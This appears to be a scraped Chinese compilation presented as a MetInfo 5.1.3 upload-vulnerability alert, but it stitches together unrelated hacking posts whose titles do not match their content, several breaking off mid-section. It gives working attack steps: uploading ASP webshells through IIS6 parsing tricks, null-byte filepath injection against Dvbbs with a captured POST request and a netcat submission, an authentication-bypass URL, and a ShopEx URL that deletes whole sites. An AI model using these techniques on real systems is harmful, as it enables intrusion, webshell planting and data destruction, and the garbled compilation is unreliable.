MetInfov5.1.3 任意文件上传漏洞漏洞预警(9篇)
1.MetInfov5.1.3 任意文件上传漏洞漏洞预警 篇一
eWebeditoR3.8 for php任意文件上EXP
URL:
file:
漏洞修补方法:
初始化数组$aStyle
$sUsername = ”admin“;
$sPassword = ”admin“;
$aStyle. = array();
$aStyle[1] = ”gray|||gray|||office|||../uploadfile/|||550|||350|||rar|zip|exe|doc|xls|chm|hlp|||swf|||gif|jpg|jpeg|bmp|||rm|mp3|wav|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|mov|||gif|jpg|jpeg|bmp|||500|||100|||100|||100|||100|||1|||1|||EDIT|||1|||0|||0|||||||||1|||0|||Office标准风格,部分常用按钮,标准适合界面宽度|||1|||zh-cn|||0|||500|||300|||0|||版权所有...|||FF0000|||12|||宋体||||||0|||jpg|jpeg|||300|||FFFFFF|||1|||1“;
2.MetInfov5.1.3 任意文件上传漏洞漏洞预警 篇二
看代码
01var fu = new FileUpload(“uploadForm”,“idFile”, { Limit: 3, ExtIn: [“rar”,“doc”,“xls”], RanName: true,
02onIniFile: function(file){ file.value ? file.style.display =“none”: this.Folder.removeChild(file); },
03onEmpty: function{ alert(“请选择一个文件”); },
04onLimite: function(){ alert(“超过上传限制”); },
05onSame: function(){ alert(“已经有相同文件”); },
06onNotExtIn: function(){ alert(“只允许上传”+ this.ExtIn.join(“,”) +“文件”); },
07onFail: function(file){ this.Folder.removeChild(file); },
08onIni: function(){
09//显示文件列表
10var arrRows = [];
11if(this.Files.length){
12var This = this;
13Each(this.Files, function(o){
14var a = document.createElement(“a”); a.innerHTML =“取消”; a.href =“javascript.:void(0);”;
15a.onclick = function(){ oThis.Delete(o); return false; };
16arrRows.push([o.value, a]);
17});
18} else { arrRows.push([“没有添加文件”,“”]); }
19AddList(arrRows);
20//设置按钮
21$(“idBtnupload”).disabled = $(“idBtndel”).disabled = this.Files.length <= 0;
22}
23});
24
25$(“idBtnupload”).onclick = function(){
26//显示文件列表
27var arrRows = [];
28Each(fu.Files, function(o){ arrRows.push([o.value,“”]); });
29AddList(arrRows);
30
31fu.Folder.style.display =“none”;
32$(“idProcess”).style.display =“”;
33$(“idMsg”).innerHTML =“正在上传文件到服务器,请稍候……
有可能因为网络问题,出现程序长时间无响应,请点击“取消”重新上传文件”;
34
35fu.Form.submit();
36}
37
38//用来添加文件列表的函数
39function AddList(rows){
40//根据数组来添加列表
41var FileList = $(“idFileList”), Fragment = document.createDocumentFragment();
42//用文档碎片保存列表
43Each(rows, function(cells){
44var row = document.createElement(“tr”);
45Each(cells, function(o){
46var cell = document.createElement(“td”);
47if(typeof o ==“string”){ cell.innerHTML = o; }else{ cell.appendChild(o); }
48row.appendChild(cell);
49});
50oFragment.appendChild(row);
51})
52//ie的table不支持innerHTML所以这样清空table
53while(FileList.hasChildNodes()){ FileList.removeChild(FileList.firstChild); }
54FileList.appendChild(oFragment);
55}
56
57
58$(“idLimit”).innerHTML = fu.Limit;
59
60$(“idExt”).innerHTML = fu.ExtIn.join(“,”);
61
62$(“idBtndel”).onclick = function(){ fu.Clear(); }
63
64//在后台通过window.parent来访问主页面的函数
65function Finish(msg){ alert(msg); location.href = location.href; }
66
67
68注意:
69
·请选择【rar,doc,xls】格式的文件,其他格式的文件请打包后再上传,
毕业论文选题系统上传漏洞漏洞预警
,
70
·文件名尽量详细,以方便下载。
71
·文件不能过大。
72
73
没有将文件重命名,外加本地JS验证。配合IIS6.0解析漏洞 如果是IIS7 的话用火狐
漏洞利用方法:
访问www.xxx.com/fileload/FileUpload.asp然后将ASP木马改为1.asp;.rar 或者asp;.xsl 也行 上传后的文件存在/fileload/file/下面
网站系统下载地址:down.admin5.com/asp/60831.html
3.MetInfov5.1.3 任意文件上传漏洞漏洞预警 篇三
柏顿文章管理系统默认后台中的upload.asp文件只对asp|aspx|php|jsp|asa|shtml|html|htm|js|vbs做了限制
上传文件
<%
Dim go:go=Request.QueryString(“go”)
If Request.QueryString(“action”)=“upload” Then
Set upload=new my_upload
Dim filepath
filepath=trim(upload.form(“filepath”))
For each formName in upload.File
set file=upload.File(formName)
Dim o,txt,FileExt:FileExt=file.FileExt
txt=Split(“asp|aspx|php|jsp|asa|shtml|html|htm|js|vbs”,“|”)
For o=0 To UBound(txt)
If InStr(LCase(FileExt),txt(o))0 Then
response.write “”
response.end
End if
Next
4.MetInfov5.1.3 任意文件上传漏洞漏洞预警 篇四
能不能利用的NC提交,其实NC提交已经反锁了,利用opera浏览器或者使用suitbute更为简洁。那一般说来什么情况下可以如此使用呢,看源代码
出现类似filepath value=”upload”就爽歪歪了,试着修改value=“upload.asp;”
出现类似filename value =”1312321321″,试着修改value=”1312321321.asp”
如果还不行的可是在后面加上一个空格或者;试试
5.MetInfov5.1.3 任意文件上传漏洞漏洞预警 篇五
现在可以直接利用这个接口绕过前台的权限验证
www.jjdd.com/comment/add_comment?uid={uid}&ouid={ouid}&relate_uid=&reply_comment_id=&source_id=3&source_type=3&status=1&content=test&pay_card=0
{uid}:发送人的用户ID
{ouid}:接收信息的用户ID
{source_type}:信息类型,目前已知道的有,1是相册;2是个人说说;3是小编专访
{source_id}:信息类型对应的对象ID(通过查看html源码可以知道要回复的对应ID是多少)
透过上面的DEMO地址,将参数对应填入,即可任意留言回复,
而且用户ID可以任意填写,没有限制只能当前登录用户。
修复方案:
6.MetInfov5.1.3 任意文件上传漏洞漏洞预警 篇六
详细说明:这个漏洞同样出在模板管理处,
。 删除模板的地方可以 构造url 即可删除任意文件 包括整站删除都是可以的。。
构造如下: shop-xxxxxx.shopex.fenxiaowang.com/shopadmin/index.php#ctl=system/template&act=removePage&p[0]=此地方填要删除的目录 可以为../../ 即可删除整站 同样 这个漏洞存在于 易开店 等其他shopex系统中。。。
7.MetInfov5.1.3 任意文件上传漏洞漏洞预警 篇七
在前文《opera9.52使用ajax读取本地文件漏洞》
中,提到了opera的ajax读取本地文件漏洞,
但是利用方式上,比较狭隘。
很少人会专门下载htm文件到本地,然后打开。
但是动态语言(php,asp等)只要修改header,就可以指定让用户下载。
我们设计如下代码的php文件:
b.php代码
/*
opera 9.52 use ajax read local txt file and upload exp
www.inbreak.net
authorkxlzx@xiaotou.org-1-6
*/
header(“Content-Disposition:attachment;filename=kxlzx.htm”);
header(“Content-type:application/kxlzx”);
?>
其他代码和前文一致,但是多出了
header(“Content-Disposition:attachment;filename=kxlzx.htm”);
header(“Content-type:application/kxlzx”);
这段,
第一行定义http头,下载文件的文件名默认为kxlzx.htm。
因为如果你下载了其他类型的文件,windows会默认让其他类型的文件程序打开。
但是定义了htm文件名后,windows就会让opera打开这个文件。
注意,这里已经下载了文件,所以域属于本地域。
第二行定义了mm文件头(呃。。。),随便写了一个不存在的,opera就会自动下载该文件了。
使用opera打开测试地址:
www.inbreak.net/kxlzxtest/testxss/b.php
打开后,效果如图
我想,看到这个框,用户不管是点了打开还是点了保存,最终打开的时候,都是使用opera在本地域下打开的。
比较猥琐的利用方法。
8.菜鸟知识点 上传漏洞终结篇 篇八
***这个上传漏洞利用的原理只是针对form格式上传的asp和php脚本***
NC(Netcat)
用于提交数据包
DOS界面下运行:
NC -vv www.***.com 80<1.txt
-vv: 回显
80: www端口
1.txt: 就是你要发送的数据包
(更多使用方法请查看本区的帖子)
WSE(WSockExpert)
对本机端口的监视,抓取IE提交的数据包
(不会用的就自己到网上搜资料N多)
二、漏洞原理
下面例子假设的前提
www主机: www.***.com;
bbs路径 : /bbs/
漏洞源于对动网上传文件的研究,建议有一定编程经验的
看看Dvbbs的upfile.asp文件,没有必要全部看懂
upfile是通过生成一个form表上传,如下
用到的变量:
filepath 默认值uploadface 属性hiden
act 默认值upload 属性hiden
file1 就是你要传的那个文件
关键是 filepath 这个变量!
默认情况下我们的文件上传到www.***.com/bbs/uploadface/
文件是用你的上传时间命名的,就是upfile里的这一句
FileName=FormPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&“.”&FileExt
--------------------------------------
我们知道计算机里面的数据是一“”为标致的用过C语言的都知道
char data[]=“bbs”
这个data数组长度是4: b b s
如果我们构造filepath如下,会怎么样呢?
filepath=“/newmm.asp”
我们在.09.24.08.24传的文件就会发生变化
没有改时:
www.***.com/bbs/uploadface/200409240824.jpg
用我们构造的filepath时:
www.***.com/newmm.asp/200409240824.jpg
这样当服务器接收filepath数据时,检测到newmm.asp后面的
就理解为filepath的数据就结束了
这样我们上传的文件,比如c:1.asp
就保存成: www.***.com/newmm.asp
三、后期补充
漏洞公布以后很多网站做了相应的处理,但是对于filepath的过滤和处理都不行
有很多网站只是加了N个hiden属性的变量对付网上公布的upfile.exe就是那个
上传漏洞利用工具或者filepath变量利用工具(老兵的)...但是最基本的没改啊,。
而且很对网站的插件里有类似的漏洞,我要说的不要依赖哪些专门的工具
自己改WSE抓到的包里的filepath变量,然后在用NC提交。。。
就算他加N个hiden变量也于事无补。
当然,如果对filepath做了很严格的过滤的话我们的这些理论就将宣告终结
就是我们的新理论诞生的时候!
四、漏洞列表
dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5369
dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5530
dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5531
dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5693
dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5731
dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5746
监听外部主机
NC [-options] hostname port[s] [ports] ...
监听本地主机
NC -l -p port [options] [hostname] [port]
options:
-d detach from console, stealth mode
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-L listen harder, re-listen on socket close
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]
详细实例:
-----------------------------
一、WSE抓包结果(存到1.txt里):
POST /bbs/upPhoto/upfile.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: www.xin126.com/bbs/upPhoto/upload.asp
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=-----------7d423a138d0278
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)
Host: www.xin126.com
Content-Length: 1969
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDACCCCDCS=NJHCPHPALBCANKOBECHKJANF; isCome=1; GAMVANCOOKIES=1; regTime=2004%2D9%2D24+3%3A39%3A37; username=szjwwwww; pass=5211314; dl=0; userID=62; ltStyle=0; loginTry=1; userPass=eb03f6c72908fd84
-----------------------------7d423a138d0278
Content-Disposition: form-data; name=“filepath”
../medias/myPhoto/
-----------------------------7d423a138d0278
... ...
上传
---------------7d423a138d0278-----------------
二、UltraEdit打开1.txt改数据:
......
-----------------------------7d423a138d0278
Content-Disposition: form-data; name=“filepath”
/newmm.asp <===这个黑色代表一个空格是 0x20,改成0x00就可以了
......
----------------------------
三、重新计算cookies长度,然后nc提交
Nc -vv www.xin126.com 80 <1.txt
UltraEdit是一个16位编辑器网上可以下载得到
我们主要用来写那个结束标致: ====>16位表示:0x00或者00H
其实你改的时候就直接再filepath的结尾处加个00就OK了
计算cookies长度===>你把fillepath改了之后、肯定是或+或―cookies的长度变了
......
Host: www.xin126.com
Content-Length: 1969 <======就是这个
Connection: Keep-Alive
Cache-Control: no-cache
......
计算会吧?一个字母、数字就是1
对于上传漏洞提出的解决思路:(仅供参考)
1、一般的上传是把上传路径作为一个变量来处理
===>我们的对策就是把filepath变成常量,
。。
这个方法是目前最有效的(我认为的)
2、加强对于的处理,原来我们是读到这里就结束
9.MetInfov5.1.3 任意文件上传漏洞漏洞预警 篇九
最近官方发布了一个安全补丁,官方表述是:该URL安全漏洞会造成用户在客户端伪造URL,执行非法代码。
可是貌似大多数开发者和使用者并没有注意到此漏洞的危害性,应者了了,更不用说有多少人去升级了。随后我对其进行了分析,发现此问题果然是一个非常严重的问题,只要使用了thinkphp框架,就可以直接执行任意php代码。特此发帖预警各位。
我们来分析一下官方的补丁:
/trunk/ThinkPHP/Lib/Core/Dispatcher.class.php
【MetInfov5.1.3 任意文件上传漏洞漏洞预警】推荐阅读: